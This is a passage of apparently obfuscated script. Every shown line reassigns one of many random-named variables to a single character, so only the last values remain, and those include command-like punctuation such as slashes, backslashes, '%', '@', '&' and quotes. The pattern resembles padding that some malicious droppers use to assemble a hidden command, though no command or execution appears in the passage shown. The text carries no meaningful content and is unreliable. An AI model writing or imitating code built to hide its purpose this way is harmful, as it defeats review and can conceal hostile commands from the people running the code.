252	fwswfg = "k";
253	fwswfg = "m";
254	fwswfg = "p";
255	fwswfg = "l";
256	fwswfg = "M";
257	fwswfg = "q";
258	fwswfg = "N";
259	fwswfg = "l";
260	fwswfg = "O";
261	fwswfg = "e";
262	fwswfg = "H";
263	fwswfg = "e";
264	wbssjndcj = "C";
265	wbssjndcj = "g";
266	wbssjndcj = "q";
267	wbssjndcj = "K";
268	wbssjndcj = "L";
269	wbssjndcj = "k";
270	wbssjndcj = "B";
271	wbssjndcj = "y";
272	wbssjndcj = "Z";
273	wbssjndcj = "t";
274	wbssjndcj = "s";
275	wbssjndcj = "u";
276	wbssjndcj = "c";
277	wbssjndcj = "W";
278	wbssjndcj = "F";
279	wbssjndcj = "t";
280	wbssjndcj = "w";
281	vaczzrn = "k";
282	vaczzrn = "H";
283	vaczzrn = "a";
284	vaczzrn = "q";
285	vaczzrn = "R";
286	vaczzrn = "h";
287	vaczzrn = "b";
288	vaczzrn = "h";
289	vaczzrn = "m";
290	vaczzrn = "V";
291	vaczzrn = "l";
292	vaczzrn = "L";
293	vaczzrn = "K";
294	vaczzrn = "W";
295	vaczzrn = "l";
296	vaczzrn = "H";
297	vaczzrn = "u";
298	vaczzrn = "f";
299	vaczzrn = "u";
300	ldsphhen = "W";
301	ldsphhen = "A";
302	ldsphhen = "J";
303	ldsphhen = "V";
304	ldsphhen = "k";
305	ovyxcqulq = "N";
306	ovyxcqulq = "O";
307	ovyxcqulq = "B";
308	ovyxcqulq = "j";
309	ovyxcqulq = "y";
310	ovyxcqulq = "a";
311	ovyxcqulq = "C";
312	ovyxcqulq = "C";
313	ovyxcqulq = "m";
314	ovyxcqulq = "M";
315	ovyxcqulq = "q";
316	ovyxcqulq = "x";
317	ovyxcqulq = "Y";
318	ovyxcqulq = "y";
319	ovyxcqulq = "V";
320	ovyxcqulq = "U";
321	ovyxcqulq = "b";
322	ovyxcqulq = "O";
323	ovyxcqulq = "A";
324	ovyxcqulq = "S";
325	ovyxcqulq = "J";
326	ovyxcqulq = "I";
327	ovyxcqulq = "I";
328	ovyxcqulq = "Q";
329	ovyxcqulq = "N";
330	ovyxcqulq = "l";
331	ovyxcqulq = "X";
332	ovyxcqulq = "j";
333	ovyxcqulq = "H";
334	ovyxcqulq = "r";
335	ovyxcqulq = "m";
336	ovyxcqulq = "y";
337	ovyxcqulq = "a";
338	ovyxcqulq = "Q";
339	ovyxcqulq = "L";
340	ovyxcqulq = " ";
341	dhjeg = "U";
342	dhjeg = "n";
343	dhjeg = "h";
344	dhjeg = "H";
345	dhjeg = "S";
346	dhjeg = "J";
347	dhjeg = "U";
348	dhjeg = "Z";
349	dhjeg = "h";
350	dhjeg = "c";
351	dhjeg = "W";
352	dhjeg = "P";
353	dhjeg = "d";
354	dhjeg = "e";
355	dhjeg = "U";
356	dhjeg = "H";
357	dhjeg = "V";
358	dhjeg = "P";
359	dhjeg = "G";
360	dhjeg = "e";
361	dhjeg = "L";
362	dhjeg = "R";
363	dhjeg = "x";
364	dhjeg = "O";
365	dhjeg = "S";
366	dhjeg = "O";
367	dhjeg = "K";
368	dhjeg = "H";
369	dhjeg = "J";
370	dhjeg = "j";
371	dhjeg = "r";
372	dhjeg = "g";
373	dhjeg = "U";
374	dhjeg = "k";
375	dhjeg = "p";
376	dhjeg = "n";
377	dhjeg = "s";
378	jqlrinfxg = "w";
379	jqlrinfxg = "p";
380	jqlrinfxg = "p";
381	jqlrinfxg = "N";
382	jqlrinfxg = "l";
383	jqlrinfxg = "m";
384	jqlrinfxg = "M";
385	jqlrinfxg = "q";
386	jqlrinfxg = "B";
387	jqlrinfxg = "Q";
388	jqlrinfxg = "d";
389	jqlrinfxg = "z";
390	jqlrinfxg = "L";
391	jqlrinfxg = "C";
392	jqlrinfxg = "u";
393	jqlrinfxg = "A";
394	jqlrinfxg = "K";
395	jqlrinfxg = "o";
396	jqlrinfxg = "N";
397	jqlrinfxg = "4";
398	utygi = "y";
399	utygi = "F";
400	utygi = "A";
401	utygi = "u";
402	utygi = "C";
403	utygi = "T";
404	utygi = "K";
405	utygi = "G";
406	utygi = "g";
407	utygi = "O";
408	utygi = "s";
409	utygi = "b";
410	utygi = "q";
411	utygi = "j";
412	utygi = "A";
413	utygi = "L";
414	utygi = "q";
415	utygi = "i";
416	utygi = "A";
417	utygi = "q";
418	utygi = "q";
419	utygi = "V";
420	utygi = "O";
421	utygi = "z";
422	utygi = "n";
423	utygi = "X";
424	utygi = "W";
425	utygi = "R";
426	utygi = "t";
427	utygi = "D";
428	utygi = "b";
429	utygi = "v";
430	utygi = "v";
431	utygi = "x";
432	utygi = "A";
433	utygi = "Q";
434	mbxwbjza = "Z";
435	mbxwbjza = "d";
436	mbxwbjza = "q";
437	mbxwbjza = "C";
438	mbxwbjza = "O";
439	mbxwbjza = "E";
440	mbxwbjza = "T";
441	mbxwbjza = "I";
442	mbxwbjza = "I";
443	mbxwbjza = "E";
444	mbxwbjza = "I";
445	mbxwbjza = "P";
446	mbxwbjza = "R";
447	mbxwbjza = "P";
448	mbxwbjza = "H";
449	mbxwbjza = "B";
450	mbxwbjza = "t";
451	mbxwbjza = "U";
452	mbxwbjza = "K";
453	mbxwbjza = "U";
454	mbxwbjza = "f";
455	mbxwbjza = "z";
456	mbxwbjza = "I";
457	mbxwbjza = "d";
458	mbxwbjza = "w";
459	mbxwbjza = "m";
460	mbxwbjza = "r";
461	mbxwbjza = "l";
462	mbxwbjza = "p";
463	mbxwbjza = "g";
464	mbxwbjza = "q";
465	mbxwbjza = "E";
466	mbxwbjza = "b";
467	mbxwbjza = "j";
468	mbxwbjza = "G";
469	mbxwbjza = "v";
470	mbxwbjza = "U";
471	mbxwbjza = "G";
472	mbxwbjza = "u";
473	mbxwbjza = "f";
474	mbxwbjza = "j";
475	mbxwbjza = "Y";
476	rrjsjzn = "S";
477	rrjsjzn = "y";
478	rrjsjzn = "y";
479	rrjsjzn = "G";
480	rrjsjzn = "T";
481	rrjsjzn = "O";
482	rrjsjzn = "O";
483	rrjsjzn = "P";
484	rrjsjzn = "S";
485	rrjsjzn = "R";
486	rrjsjzn = "x";
487	rrjsjzn = "s";
488	rrjsjzn = "G";
489	rrjsjzn = "n";
490	rrjsjzn = "/";
491	rrufewo = "l";
492	rrufewo = "H";
493	rrufewo = "e";
494	rrufewo = "K";
495	rrufewo = "E";
496	rrufewo = "d";
497	rrufewo = "M";
498	rrufewo = "k";
499	rrufewo = "f";
500	rrufewo = "F";
501	rrufewo = "y";
502	rrufewo = "K";
503	rrufewo = "k";
504	rrufewo = "p";
505	rrufewo = "x";
506	rrufewo = "q";
507	rrufewo = "I";
508	rrufewo = "H";
509	rrufewo = "d";
510	rrufewo = "h";
511	rrufewo = "d";
512	rrufewo = "A";
513	rrufewo = "W";
514	rrufewo = "z";
515	rrufewo = "N";
516	rrufewo = "V";
517	rrufewo = "j";
518	rrufewo = "L";
519	rrufewo = "L";
520	rrufewo = "w";
521	rrufewo = "w";
522	rrufewo = "m";
523	rrufewo = "I";
524	rrufewo = "D";
525	rrufewo = "B";
526	rrufewo = "a";
527	rrufewo = "t";
528	rrufewo = "s";
529	rrufewo = "-";
530	sxhksuzh = "G";
531	sxhksuzh = "s";
532	sxhksuzh = "j";
533	sxhksuzh = "N";
534	sxhksuzh = "D";
535	sxhksuzh = "P";
536	sxhksuzh = "y";
537	sxhksuzh = "W";
538	sxhksuzh = "t";
539	sxhksuzh = "d";
540	sxhksuzh = "E";
541	sxhksuzh = "M";
542	sxhksuzh = "c";
543	sxhksuzh = "N";
544	sxhksuzh = "q";
545	sxhksuzh = "I";
546	sxhksuzh = "S";
547	sxhksuzh = "f";
548	sxhksuzh = "r";
549	sxhksuzh = "M";
550	sxhksuzh = "u";
551	sxhksuzh = "h";
552	sxhksuzh = "P";
553	sxhksuzh = "B";
554	sxhksuzh = "s";
555	sxhksuzh = "a";
556	sxhksuzh = "%";
557	nphlwjkcy = "w";
558	nphlwjkcy = "x";
559	nphlwjkcy = "K";
560	nphlwjkcy = "x";
561	nphlwjkcy = "D";
562	nphlwjkcy = "H";
563	ghwmhwbj = "z";
564	ghwmhwbj = "V";
565	ghwmhwbj = "I";
566	ghwmhwbj = "Y";
567	ghwmhwbj = "u";
568	ghwmhwbj = "Y";
569	ghwmhwbj = "Y";
570	ghwmhwbj = "S";
571	ghwmhwbj = "r";
572	ghwmhwbj = "t";
573	ghwmhwbj = "r";
574	icpau = "w";
575	icpau = "J";
576	icpau = "D";
577	icpau = "c";
578	icpau = "f";
579	icpau = "h";
580	icpau = "m";
581	icpau = "y";
582	icpau = "w";
583	icpau = "m";
584	icpau = "e";
585	icpau = "T";
586	icpau = "E";
587	icpau = "y";
588	icpau = "B";
589	icpau = "G";
590	icpau = "x";
591	icpau = "q";
592	icpau = "k";
593	icpau = "P";
594	icpau = "G";
595	icpau = "z";
596	icpau = "S";
597	icpau = "I";
598	icpau = "E";
599	icpau = "T";
600	icpau = "I";
601	icpau = "c";
602	icpau = "J";
603	icpau = "L";
604	icpau = "Z";
605	icpau = "w";
606	icpau = "s";
607	icpau = "M";
608	icpau = "\\";
609	ncrvubjl = "h";
610	ncrvubjl = "a";
611	ncrvubjl = "7";
612	xxshvlv = "q";
613	xxshvlv = "B";
614	xxshvlv = "x";
615	xxshvlv = "m";
616	xxshvlv = "i";
617	xxshvlv = "m";
618	xxshvlv = "Y";
619	xxshvlv = "h";
620	xxshvlv = "e";
621	xxshvlv = "A";
622	xxshvlv = "J";
623	xxshvlv = "l";
624	xxshvlv = "U";
625	xxshvlv = "a";
626	xxshvlv = "B";
627	xxshvlv = "z";
628	xxshvlv = "f";
629	xxshvlv = "T";
630	xxshvlv = "Z";
631	xxshvlv = "X";
632	xxshvlv = "i";
633	xxshvlv = "C";
634	xxshvlv = "U";
635	xxshvlv = "b";
636	xxshvlv = "j";
637	xxshvlv = "T";
638	xxshvlv = "a";
639	xxshvlv = "d";
640	xxshvlv = "R";
641	xxshvlv = "v";
642	xxshvlv = "q";
643	xxshvlv = "I";
644	xxshvlv = "a";
645	xxshvlv = "a";
646	xxshvlv = "s";
647	xxshvlv = "O";
648	xxshvlv = "t";
649	xxshvlv = "m";
650	xxshvlv = "I";
651	xxshvlv = "b";
652	xxshvlv = "g";
653	hxnpe = "Z";
654	hxnpe = "T";
655	hxnpe = "n";
656	hxnpe = "C";
657	hxnpe = "Y";
658	hxnpe = "C";
659	hxnpe = "H";
660	hxnpe = "y";
661	hxnpe = "r";
662	hxnpe = "h";
663	hxnpe = "A";
664	hxnpe = "H";
665	hxnpe = "b";
666	hxnpe = "F";
667	hxnpe = "f";
668	hxnpe = "F";
669	hxnpe = "Q";
670	hxnpe = "b";
671	hxnpe = "C";
672	hxnpe = "f";
673	hxnpe = "l";
674	hxnpe = "E";
675	hxnpe = "T";
676	hxnpe = "D";
677	hxnpe = "b";
678	hxnpe = "S";
679	hxnpe = "s";
680	hxnpe = "f";
681	hxnpe = "p";
682	hxnpe = "C";
683	hxnpe = "M";
684	hxnpe = "B";
685	hxnpe = "h";
686	hxnpe = "k";
687	hxnpe = "W";
688	hxnpe = "O";
689	hxnpe = "O";
690	ponpmtgyc = "g";
691	ponpmtgyc = "w";
692	ponpmtgyc = "H";
693	ponpmtgyc = "x";
694	ponpmtgyc = "l";
695	ponpmtgyc = "J";
696	ponpmtgyc = "H";
697	ponpmtgyc = "X";
698	ponpmtgyc = "H";
699	ponpmtgyc = "z";
700	ponpmtgyc = "n";
701	ponpmtgyc = "W";
702	gqklnst = "M";
703	gqklnst = "J";
704	gqklnst = "p";
705	gqklnst = "F";
706	gqklnst = "d";
707	gqklnst = "s";
708	gqklnst = "j";
709	gqklnst = "e";
710	gqklnst = "u";
711	gqklnst = "s";
712	gqklnst = "P";
713	gqklnst = "G";
714	gqklnst = "t";
715	gqklnst = "T";
716	gqklnst = "X";
717	gqklnst = "F";
718	gqklnst = "O";
719	gqklnst = "S";
720	gqklnst = "Q";
721	gqklnst = "c";
722	gqklnst = "M";
723	gqklnst = "C";
724	gqklnst = "V";
725	gqklnst = "m";
726	gqklnst = "o";
727	gqklnst = "s";
728	gqklnst = "B";
729	gqklnst = "P";
730	gqklnst = "D";
731	gqklnst = "C";
732	gqklnst = "E";
733	hbmkzmvg = "k";
734	hbmkzmvg = "o";
735	hbmkzmvg = "J";
736	hbmkzmvg = "N";
737	hbmkzmvg = "E";
738	hbmkzmvg = "g";
739	hbmkzmvg = "Q";
740	hbmkzmvg = "T";
741	xngnsidw = "S";
742	xngnsidw = "D";
743	xngnsidw = "N";
744	xngnsidw = "H";
745	xngnsidw = "Y";
746	xngnsidw = "L";
747	xngnsidw = "E";
748	xngnsidw = "I";
749	xngnsidw = "z";
750	xngnsidw = "A";
751	xngnsidw = "O";
752	xngnsidw = "w";
753	xngnsidw = "G";
754	xngnsidw = "G";
755	xngnsidw = "U";
756	xngnsidw = "D";
757	xngnsidw = "E";
758	xngnsidw = "t";
759	xngnsidw = "J";
760	xngnsidw = "F";
761	xngnsidw = "Q";
762	xngnsidw = "z";
763	xngnsidw = "K";
764	xngnsidw = "d";
765	xngnsidw = "U";
766	xngnsidw = "W";
767	xngnsidw = "U";
768	quqwnmj = "c";
769	quqwnmj = "H";
770	quqwnmj = "a";
771	quqwnmj = "N";
772	quqwnmj = "D";
773	quqwnmj = "E";
774	quqwnmj = "D";
775	quqwnmj = "s";
776	quqwnmj = "r";
777	quqwnmj = "n";
778	quqwnmj = "i";
779	quqwnmj = "W";
780	quqwnmj = "G";
781	quqwnmj = "g";
782	quqwnmj = "m";
783	quqwnmj = "g";
784	quqwnmj = "N";
785	quqwnmj = "K";
786	quqwnmj = "e";
787	quqwnmj = "D";
788	quqwnmj = "f";
789	quqwnmj = "h";
790	quqwnmj = "t";
791	quqwnmj = "K";
792	quqwnmj = "L";
793	quqwnmj = "e";
794	quqwnmj = "B";
795	quqwnmj = "h";
796	quqwnmj = "y";
797	quqwnmj = "O";
798	quqwnmj = "y";
799	quqwnmj = "H";
800	quqwnmj = "t";
801	quqwnmj = "w";
802	quqwnmj = "G";
803	quqwnmj = "r";
804	quqwnmj = "u";
805	quqwnmj = "m";
806	zuovo = "H";
807	zuovo = "e";
808	zuovo = "f";
809	zuovo = "h";
810	zuovo = "X";
811	zuovo = "I";
812	zuovo = "m";
813	zuovo = "L";
814	kkvrqcow = "j";
815	kkvrqcow = "o";
816	kkvrqcow = "A";
817	kkvrqcow = "u";
818	kkvrqcow = "n";
819	kkvrqcow = "N";
820	foabjk = "S";
821	foabjk = "g";
822	foabjk = "J";
823	foabjk = "H";
824	foabjk = "g";
825	foabjk = "e";
826	foabjk = "c";
827	foabjk = "n";
828	foabjk = "l";
829	foabjk = "e";
830	foabjk = "o";
831	foabjk = "a";
832	foabjk = "w";
833	foabjk = "p";
834	foabjk = "d";
835	foabjk = "k";
836	foabjk = "l";
837	foabjk = "a";
838	foabjk = "p";
839	foabjk = "G";
840	foabjk = "k";
841	foabjk = "u";
842	foabjk = "v";
843	gfqosn = "j";
844	gfqosn = "q";
845	gfqosn = "r";
846	gfqosn = "P";
847	gfqosn = "I";
848	gfqosn = "n";
849	qkpbnwckz = "L";
850	qkpbnwckz = "v";
851	qkpbnwckz = "h";
852	qkpbnwckz = "y";
853	qkpbnwckz = "d";
854	qkpbnwckz = "P";
855	qkpbnwckz = "t";
856	qkpbnwckz = "m";
857	qkpbnwckz = "l";
858	qkpbnwckz = "Q";
859	qkpbnwckz = "v";
860	qkpbnwckz = "c";
861	qkpbnwckz = "n";
862	qkpbnwckz = "a";
863	qkpbnwckz = "m";
864	qkpbnwckz = "k";
865	qkpbnwckz = "R";
866	qkpbnwckz = "u";
867	qkpbnwckz = "q";
868	qkpbnwckz = "L";
869	qkpbnwckz = "W";
870	qkpbnwckz = "m";
871	qkpbnwckz = "A";
872	qkpbnwckz = "v";
873	qkpbnwckz = "I";
874	qkpbnwckz = "N";
875	qkpbnwckz = "K";
876	qkpbnwckz = "l";
877	qkpbnwckz = "B";
878	qkpbnwckz = "W";
879	qkpbnwckz = "M";
880	qkpbnwckz = "J";
881	qkpbnwckz = "H";
882	qkpbnwckz = "z";
883	qkpbnwckz = "u";
884	qkpbnwckz = "i";
885	qkpbnwckz = "g";
886	qkpbnwckz = "m";
887	qkpbnwckz = "C";
888	iihucmtot = "j";
889	iihucmtot = "L";
890	iihucmtot = "o";
891	iihucmtot = "n";
892	iihucmtot = "u";
893	iihucmtot = "i";
894	iihucmtot = "f";
895	iihucmtot = "z";
896	iihucmtot = "m";
897	iihucmtot = "u";
898	iihucmtot = "v";
899	iihucmtot = "R";
900	iihucmtot = "i";
901	iihucmtot = "S";
902	iihucmtot = "v";
903	iihucmtot = "k";
904	iihucmtot = "t";
905	iihucmtot = "X";
906	iihucmtot = "K";
907	iihucmtot = "d";
908	iihucmtot = "j";
909	iihucmtot = "p";
910	iihucmtot = "L";
911	iihucmtot = "l";
912	iihucmtot = "F";
913	iihucmtot = "y";
914	iihucmtot = "x";
915	iihucmtot = "F";
916	nbrcabyf = "B";
917	nbrcabyf = "H";
918	nbrcabyf = "c";
919	nbrcabyf = "U";
920	nbrcabyf = "p";
921	nbrcabyf = "j";
922	apreekp = "U";
923	apreekp = "Y";
924	apreekp = "K";
925	apreekp = "n";
926	apreekp = "v";
927	apreekp = "w";
928	apreekp = "O";
929	apreekp = "J";
930	apreekp = "t";
931	apreekp = "r";
932	apreekp = "L";
933	apreekp = "j";
934	apreekp = "R";
935	apreekp = "e";
936	apreekp = "D";
937	apreekp = "L";
938	apreekp = "F";
939	apreekp = "Q";
940	apreekp = "f";
941	apreekp = "t";
942	apreekp = "I";
943	apreekp = "K";
944	apreekp = "f";
945	apreekp = "W";
946	apreekp = "G";
947	apreekp = "z";
948	apreekp = "j";
949	apreekp = "@";
950	naizjfkmb = "i";
951	naizjfkmb = "I";
952	naizjfkmb = "c";
953	naizjfkmb = "q";
954	naizjfkmb = "A";
955	naizjfkmb = "j";
956	naizjfkmb = "A";
957	naizjfkmb = "x";
958	naizjfkmb = "R";
959	naizjfkmb = "o";
960	naizjfkmb = "I";
961	agfuzgeca = "y";
962	agfuzgeca = "U";
963	agfuzgeca = "B";
964	agfuzgeca = "y";
965	agfuzgeca = "o";
966	agfuzgeca = "e";
967	agfuzgeca = "T";
968	agfuzgeca = "C";
969	agfuzgeca = "P";
970	agfuzgeca = "e";
971	agfuzgeca = "t";
972	agfuzgeca = "i";
973	agfuzgeca = "R";
974	agfuzgeca = "k";
975	agfuzgeca = "e";
976	agfuzgeca = "h";
977	agfuzgeca = "l";
978	agfuzgeca = "D";
979	agfuzgeca = "r";
980	agfuzgeca = "w";
981	agfuzgeca = "T";
982	agfuzgeca = "q";
983	agfuzgeca = "H";
984	agfuzgeca = "Q";
985	agfuzgeca = "Q";
986	agfuzgeca = "D";
987	agfuzgeca = "U";
988	agfuzgeca = "Q";
989	agfuzgeca = "y";
990	agfuzgeca = "g";
991	agfuzgeca = "B";
992	agfuzgeca = "Y";
993	agfuzgeca = "D";
994	agfuzgeca = "Q";
995	agfuzgeca = "g";
996	agfuzgeca = "d";
997	agfuzgeca = "o";
998	bvxmwi = "i";
999	bvxmwi = "t";
1000	bvxmwi = "F";
1001	bvxmwi = "Q";
1002	bvxmwi = "o";
1003	bvxmwi = "C";
1004	bvxmwi = "e";
1005	bvxmwi = "&";
1006	njnicup = "k";
1007	njnicup = "u";
1008	njnicup = "n";
1009	njnicup = "i";
1010	njnicup = "b";
1011	njnicup = "h";
1012	njnicup = "J";
1013	njnicup = "w";
1014	njnicup = "w";
1015	njnicup = "z";
1016	njnicup = "H";
1017	njnicup = "O";
1018	njnicup = "o";
1019	njnicup = "I";
1020	njnicup = "D";
1021	njnicup = "F";
1022	njnicup = "o";
1023	njnicup = "W";
1024	njnicup = "a";
1025	njnicup = "i";
1026	njnicup = "b";
1027	njnicup = "m";
1028	njnicup = "i";
1029	njnicup = "h";
1030	njnicup = "u";
1031	njnicup = "T";
1032	njnicup = "N";
1033	njnicup = "S";
1034	njnicup = "q";
1035	dxlbp = "j";
1036	dxlbp = "L";
1037	dxlbp = "K";
1038	dxlbp = "b";
1039	dxlbp = "F";
1040	dxlbp = "X";
1041	dxlbp = "Y";
1042	dxlbp = "A";
1043	dxlbp = "u";
1044	dxlbp = "F";
1045	dxlbp = "p";
1046	dxlbp = "N";
1047	dxlbp = "d";
1048	lsbqje = "F";
1049	lsbqje = "B";
1050	lsbqje = "L";
1051	lsbqje = "J";
1052	lsbqje = "s";
1053	lsbqje = "o";
1054	lsbqje = "k";
1055	lsbqje = "c";
1056	lsbqje = "E";
1057	lsbqje = "X";
1058	lsbqje = "B";
1059	lsbqje = "L";
1060	lsbqje = "V";
1061	lsbqje = "O";
1062	lsbqje = "z";
1063	lsbqje = "P";
1064	lsbqje = "Q";
1065	lsbqje = "Z";
1066	lsbqje = "a";
1067	lsbqje = "j";
1068	lsbqje = "P";
1069	lsbqje = "k";
1070	lsbqje = "y";
1071	lsbqje = "m";
1072	lsbqje = "n";
1073	lsbqje = "F";
1074	lsbqje = "Z";
1075	lsbqje = "i";
1076	lsbqje = "L";
1077	lsbqje = "w";
1078	lsbqje = "N";
1079	lsbqje = "W";
1080	lsbqje = "R";
1081	lsbqje = "I";
1082	lsbqje = "b";
1083	lsbqje = "h";
1084	hyojhshe = "M";
1085	hyojhshe = "9";
1086	vdgormlrn = "D";
1087	vdgormlrn = "u";
1088	vdgormlrn = "j";
1089	vdgormlrn = "y";
1090	vdgormlrn = "E";
1091	vdgormlrn = "d";
1092	vdgormlrn = "k";
1093	vdgormlrn = "w";
1094	vdgormlrn = "c";
1095	vdgormlrn = "I";
1096	vdgormlrn = "D";
1097	vdgormlrn = "U";
1098	vdgormlrn = "A";
1099	vdgormlrn = "w";
1100	vdgormlrn = "A";
1101	vdgormlrn = "K";
1102	vdgormlrn = "b";
1103	vdgormlrn = "H";
1104	vdgormlrn = ".";
1105	zczypj = "p";
1106	zczypj = "O";
1107	zczypj = "h";
1108	zczypj = "v";
1109	zczypj = "K";
1110	zczypj = "j";
1111	zczypj = "E";
1112	zczypj = "V";
1113	zczypj = "w";
1114	zczypj = "r";
1115	zczypj = "J";
1116	zczypj = "z";
1117	zczypj = "M";
1118	zczypj = "O";
1119	zczypj = "W";
1120	zczypj = "V";
1121	zczypj = "s";
1122	zczypj = "m";
1123	zczypj = "l";
1124	zczypj = "C";
1125	zczypj = "Z";
1126	zczypj = "s";
1127	zczypj = "E";
1128	zczypj = "z";
1129	zczypj = "k";
1130	zczypj = "z";
1131	zczypj = "h";
1132	zczypj = ":";
1133	muijkd = "c";
1134	muijkd = "L";
1135	muijkd = "I";
1136	muijkd = "l";
1137	muijkd = "b";
1138	muijkd = "e";
1139	muijkd = "c";
1140	muijkd = "R";
1141	muijkd = "k";
1142	muijkd = "s";
1143	muijkd = "I";
1144	muijkd = "B";
1145	muijkd = "w";
1146	muijkd = "M";
1147	muijkd = "W";
1148	muijkd = "R";
1149	uvzydvsss = "H";
1150	uvzydvsss = "i";
1151	uvzydvsss = "q";
1152	uvzydvsss = "y";
1153	uvzydvsss = "o";
1154	uvzydvsss = "w";
1155	uvzydvsss = "V";
1156	uvzydvsss = "s";
1157	uvzydvsss = "l";
1158	uvzydvsss = "V";
1159	uvzydvsss = "J";
1160	uvzydvsss = "s";
1161	uvzydvsss = "W";
1162	uvzydvsss = "h";
1163	uvzydvsss = "W";
1164	uvzydvsss = "u";
1165	uvzydvsss = "C";
1166	uvzydvsss = "Y";
1167	uvzydvsss = "r";
1168	uvzydvsss = "H";
1169	uvzydvsss = "s";
1170	uvzydvsss = "r";
1171	uvzydvsss = "c";
1172	uvzydvsss = "y";
1173	uvzydvsss = "p";
1174	uvzydvsss = "X";
1175	uvzydvsss = "3";
1176	zydttxpj = "J";
1177	zydttxpj = "R";
1178	zydttxpj = "q";
1179	zydttxpj = "l";
1180	zydttxpj = "u";
1181	zydttxpj = "q";
1182	zydttxpj = "M";
1183	zydttxpj = "R";
1184	zydttxpj = "L";
1185	zydttxpj = "i";
1186	zydttxpj = "o";
1187	zydttxpj = "m";
1188	zydttxpj = "x";
1189	zydttxpj = "C";
1190	zydttxpj = "X";
1191	zydttxpj = "d";
1192	zydttxpj = "P";
1193	zydttxpj = "D";
1194	zydttxpj = "X";
1195	zydttxpj = "e";
1196	zydttxpj = "q";
1197	zydttxpj = "b";
1198	zydttxpj = "u";
1199	zydttxpj = "U";
1200	zydttxpj = "Y";
1201	zydttxpj = "e";
1202	zydttxpj = "Z";
1203	zydttxpj = "h";
1204	zydttxpj = "V";
1205	zydttxpj = "d";
1206	zydttxpj = "E";
1207	zydttxpj = "W";
1208	zydttxpj = "T";
1209	zydttxpj = "g";
1210	zydttxpj = "c";
1211	zydttxpj = "v";
1212	zydttxpj = "T";
1213	zydttxpj = "\"";
1214	wfavftfg = "q";
1215	wfavftfg = "r";
1216	wfavftfg = "w";
1217	wfavftfg = "E";
1218	wfavftfg = "N";
1219	wfavftfg = "S";
1220	wfavftfg = "J";
1221	wfavftfg = "F";
1222	wfavftfg = "S";
1223	qznrfusbz = "O";
1224	qznrfusbz = "i";
1225	qznrfusbz = "u";
1226	qznrfusbz = "d";
1227	qznrfusbz = "b";
1228	qznrfusbz = "E";
1229	qznrfusbz = "N";
1230	qznrfusbz = "S";
1231	qznrfusbz = "w";
1232	qznrfusbz = "Q";
1233	qznrfusbz = "x";
1234	qznrfusbz = "P";
1235	qznrfusbz = "w";
1236	qznrfusbz = "T";
1237	qznrfusbz = "M";
1238	qznrfusbz = "T";
1239	qznrfusbz = "j";
1240	qznrfusbz = "z";
1241	qznrfusbz = "D";
1242	qznrfusbz = "l";
1243	qgkpdw = "z";
1244	qgkpdw = "a";
1245	qgkpdw = "H";
1246	qgkpdw = "r";
1247	qgkpdw = "E";
1248	qgkpdw = "X";
1249	qgkpdw = "x";
1250	qgkpdw = "w";
1251	qgkpdw = "t";
1252	qgkpdw = "p";
1253	qgkpdw = "d";
1254	qgkpdw = "p";
1255	qgkpdw = "S";
1256	qgkpdw = "V";
1257	qgkpdw = "S";
1258	qgkpdw = "v";
1259	qgkpdw = "k";
1260	qgkpdw = "r";
1261	qgkpdw = "G";
1262	qgkpdw = "D";
1263	qgkpdw = "v";
1264	qgkpdw = "T";
1265	qgkpdw = "d";
1266	qgkpdw = "q";
1267	qgkpdw = "j";
1268	qgkpdw = "w";
1269	qgkpdw = "t";
1270	qgkpdw = "Z";
1271	qgkpdw = "T";
1272	qgkpdw = "x";
1273	qgkpdw = "V";
1274	qgkpdw = "5";
1275	zggvl = "t";
1276	zggvl = "z";
1277	zggvl = "i";
1278	zggvl = "G";
1279	zggvl = "A";
1280	zggvl = "i";
1281	zggvl = "s";
1282	zggvl = "_";
1283	ywagqz = "z";
1284	ywagqz = "r";
1285	ywagqz = "v";
1286	ywagqz = "c";
1287	ywagqz = "t";
1288	ywagqz = "M";
1289	ywagqz = "f";
1290	ywagqz = "j";
1291	ywagqz = "K";
1292	ywagqz = "J";
1293	ywagqz = "f";
1294	ywagqz = "n";
1295	ywagqz = "Y";
1296	ywagqz = "T";
1297	ywagqz = "U";
1298	ywagqz = "1";
1299	coluukq = "A";
1300	coluukq = "E";
1301	coluukq = "p";
1302	coluukq = "e";
1303	coluukq = "P";
1304	coluukq = "o";
1305	coluukq = "b";
1306	coluukq = "O";
1307	coluukq = "b";
1308	coluukq = "z";
1309	coluukq = "X";
1310	coluukq = "d";
1311	coluukq = "e";
1312	coluukq = "f";
1313	eabxlp = "E";
1314	eabxlp = "Q";
1315	eabxlp = "P";
1316	eabxlp = "n";
1317	eabxlp = "D";
1318	eabxlp = "M";
1319	eabxlp = "V";
1320	eabxlp = "p";
1321	eabxlp = "U";
1322	eabxlp = "k";
1323	eabxlp = "u";
1324	eabxlp = "w";
1325	eabxlp = "z";
1326	eabxlp = "V";
1327	eabxlp = "x";
1328	eabxlp = "A";
1329	eabxlp = "D";
1330	eabxlp = "h";
1331	eabxlp = "K";
1332	eabxlp = "a";
1333	eabxlp = "E";
1334	eabxlp = "N";
1335	eabxlp = "I";
1336	eabxlp = "c";
1337	eabxlp = "n";
1338	eabxlp = "t";
1339	eabxlp = "V";
1340	eabxlp = "l";
1341	eabxlp = "N";
1342	eabxlp = "x";
1343	eabxlp = "r";
1344	eabxlp = "S";
1345	eabxlp = "p";
1346	vcptzf = "r";
1347	vcptzf = "b";
1348	vcptzf = "u";
1349	vcptzf = "P";
1350	vcptzf = "X";
1351	vcptzf = "W";
1352	vcptzf = "A";
1353	vcptzf = "o";
1354	vcptzf = "U";
1355	vcptzf = "c";
1356	vcptzf = "H";
1357	vcptzf = "P";
1358	nfoze = "m";
1359	nfoze = "V";
1360	nfoze = "x";
1361	nfoze = "S";
1362	nfoze = "Y";
1363	nfoze = "t";
1364	nfoze = "E";
1365	nfoze = "X";
1366	nfoze = "w";
1367	nfoze = "Q";
1368	nfoze = "E";
1369	nfoze = "j";
1370	nfoze = "I";
1371	nfoze = "R";
1372	nfoze = "y";
1373	nfoze = "l";
1374	nfoze = "u";
1375	nfoze = "v";
1376	nfoze = "E";
1377	nfoze = "n";
1378	nfoze = "s";
1379	nfoze = "m";
1380	nfoze = "N";
1381	nfoze = "c";
1382	nfoze = "n";
1383	nfoze = "v";
1384	nfoze = "v";
1385	nfoze = "b";
1386	nfoze = "Y";
1387	nfoze = "j";
1388	nfoze = "0";
1389	ergvbfiok = "I";
1390	ergvbfiok = "A";
1391	ergvbfiok = "l";
1392	ergvbfiok = "o";
1393	ergvbfiok = "w";
1394	ergvbfiok = "g";
1395	ergvbfiok = "W";
1396	ergvbfiok = "P";
1397	ergvbfiok = "J";
